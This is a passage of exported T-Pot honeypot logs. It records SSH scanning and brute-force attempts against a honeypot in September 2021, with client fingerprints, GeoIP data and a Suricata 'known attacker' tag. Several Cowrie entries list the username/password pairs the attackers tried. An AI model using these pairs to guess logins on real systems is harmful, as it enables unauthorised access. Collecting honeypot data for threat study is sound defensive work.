"ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 60092, "dest_port": 22, "timestamp": "2021-09-20T11:07:09.127651", "@timestamp": "2021-09-20T11:07:09.127Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23153	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:07:09.157889+03	2021-09-20 14:15:07.138472+03	{"_id": "sQbjAnwBvYTbRNuEaAe8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 51458, "dest_port": 22, "timestamp": "2021-09-20T11:07:09.157889", "@timestamp": "2021-09-20T11:07:09.157Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23154	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:10.175131+03	2021-09-20 14:15:07.139473+03	{"_id": "oAbjAnwBvYTbRNuEaAe6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "447202b7f8a7", "@version": "1", "duration": 3.6545779705047607, "timestamp": "2021-09-20T11:07:10.175131Z", "@timestamp": "2021-09-20T11:07:10.175Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23161	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:10.420619+03	2021-09-20 14:15:07.148471+03	{"_id": "0gbjAnwBvYTbRNuEbAeh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "0543f1973e1e", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:10.420619Z", "@timestamp": "2021-09-20T11:07:10.420Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23155	195.24.88.8	109.199.241.180	Suricata	2021-09-20 14:07:10.253169+03	2021-09-20 14:15:07.140472+03	{"_id": "vAbjAnwBvYTbRNuEawc5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 24282, "qr": true, "ra": true, "rd": true, "type": "answer", "flags": "8180", "rcode": "NOERROR", "rrname": "community.sicherheitstacho.eu", "rrtype": "A", "answers": [{"ttl": 2216, "rdata": "160.44.201.156", "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}], "grouped": {"A": ["160.44.201.156"]}, "version": 2}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "195.24.88.8", "asn": 25374, "as_org": "ESCOM Ltd. - Haskovo", "latitude": 42.2839, "location": {"lat": 42.2839, "lon": 22.6911}, "timezone": "Europe/Sofia", "city_name": "Kyustendil", "longitude": 22.6911, "postal_code": "2500", "region_code": "10", "region_name": "Kyustendil", "country_name": "Bulgaria", "country_code2": "BG", "country_code3": "BG", "continent_code": "EU"}, "proto": "UDP", "src_ip": "195.24.88.8", "dest_ip": "192.168.20.116", "flow_id": 2111347594549048, "@version": "1", "in_iface": "enp5s0", "src_port": 53, "dest_port": 50029, "timestamp": "2021-09-20T11:07:10.253169Z", "@timestamp": "2021-09-20T11:07:10.253Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
23156	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:10.368531+03	2021-09-20 14:15:07.142472+03	{"_id": "wgbjAnwBvYTbRNuEbAeh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [installer/installer50] failed", "session": "31664c5d17b2", "@version": "1", "password": "installer50", "username": "installer", "timestamp": "2021-09-20T11:07:10.368531Z", "@timestamp": "2021-09-20T11:07:10.368Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23157	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:10.520282+03	2021-09-20 14:15:07.143472+03	{"_id": "ygbjAnwBvYTbRNuEbAeh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.login.failed", "message": "login attempt [backups/backups] failed", "session": "18a1ddb0f9cf", "@version": "1", "password": "backups", "username": "backups", "timestamp": "2021-09-20T11:07:10.520282Z", "@timestamp": "2021-09-20T11:07:10.520Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23158	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:10.906184+03	2021-09-20 14:15:07.144472+03	{"_id": "zAbjAnwBvYTbRNuEbAeh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "3f85a6359bdd", "@version": "1", "duration": 2.4760115146636963, "timestamp": "2021-09-20T11:07:10.906184Z", "@timestamp": "2021-09-20T11:07:10.906Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23159	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:10.419812+03	2021-09-20 14:15:07.146472+03	{"_id": "zQbjAnwBvYTbRNuEbAeh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:40736 (192.168.176.2:22) [session: 0543f1973e1e]", "session": "0543f1973e1e", "@version": "1", "protocol": "ssh", "src_port": 40736, "dest_port": 22, "timestamp": "2021-09-20T11:07:10.419812Z", "@timestamp": "2021-09-20T11:07:10.419Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23160	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:07:10.342289+03	2021-09-20 14:15:07.147473+03	{"_id": "3AbjAnwBvYTbRNuEbAeh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 34788, "timestamp": "2021-09-20T11:07:10.342289", "@timestamp": "2021-09-20T11:07:10.342Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
23162	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:07:10.706123+03	2021-09-20 14:15:07.150472+03	{"_id": "3gbjAnwBvYTbRNuEbAeh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 40736, "dest_port": 22, "timestamp": "2021-09-20T11:07:10.706123", "@timestamp": "2021-09-20T11:07:10.706Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23163	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:10.301071+03	2021-09-20 14:15:07.151473+03	{"_id": "3wbjAnwBvYTbRNuEbAeh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.login.failed", "message": "login attempt [root/keypos] failed", "session": "a5e2e8aff59e", "@version": "1", "password": "keypos", "username": "root", "timestamp": "2021-09-20T11:07:10.301071Z", "@timestamp": "2021-09-20T11:07:10.301Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23164	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:11.003717+03	2021-09-20 14:15:07.152473+03	{"_id": "4AbjAnwBvYTbRNuEbAeh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [full/full] failed", "session": "edf7e33fbfde", "@version": "1", "password": "full", "username": "full", "timestamp": "2021-09-20T11:07:11.003717Z", "@timestamp": "2021-09-20T11:07:11.003Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23165	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:07:11.877847+03	2021-09-20 14:15:07.154473+03	{"_id": "4wbjAnwBvYTbRNuEbwci", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1033098202444305, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 33790, "dest_port": 22, "timestamp": "2021-09-20T11:07:11.877847Z", "@timestamp": "2021-09-20T11:07:11.877Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
